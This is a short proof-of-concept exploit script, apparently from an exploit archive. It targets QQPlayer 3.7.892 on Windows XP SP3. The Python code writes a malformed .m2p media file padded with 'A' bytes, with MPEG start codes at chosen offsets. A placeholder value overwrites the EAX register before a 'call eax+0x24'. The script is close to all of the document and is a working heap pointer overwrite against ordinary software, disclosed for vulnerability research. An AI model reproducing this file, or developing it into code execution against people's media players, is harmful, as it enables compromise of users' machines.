QQPlayer 3.7.892 – m2p ‘quartz.dll’ Heap Pointer Overwrite (PoC)
# Exploit Title: QQPlayer 3.7.892 m2p quartz.dll heap pointer overwrite PoC # Date: 10/14/2012 # Author: James Ritchey # Vendor Homepage: www.qq-player.com # Software Link: http://www.qq-player.com/download_en.php # Version: 3.7.892 # Tested on: Windows XP SP3 l = 3315716 * "A" s1 = ((0,'\x00\x00\x01\xba'), (2048, '\x00\x00\x01\xba'), (3289120, '\x00\x00\x01\xe0\x07'), (3289273, '\x00\x00\x01\xb3'), (3289283, '\xba'), (3289452, '\x42\x42\x42\x42'), (3289468, '\x00\x00\x01\x00'), (3290359, '\x00\x00\x01\x00'), (3301408, '\x00\x00\x01\xe0\x07'), (3303112, '\x00\x00\x01\x00')) # EAX overwrite(3289452, '\x42\x42\x42\x42') call eax+0x24 o = open("c:\\poc.m2p","wb") o.write(l) for i in range(len(s1)): o.seek(s1[i][0], 0) o.write(s1[i][1]) o.close() |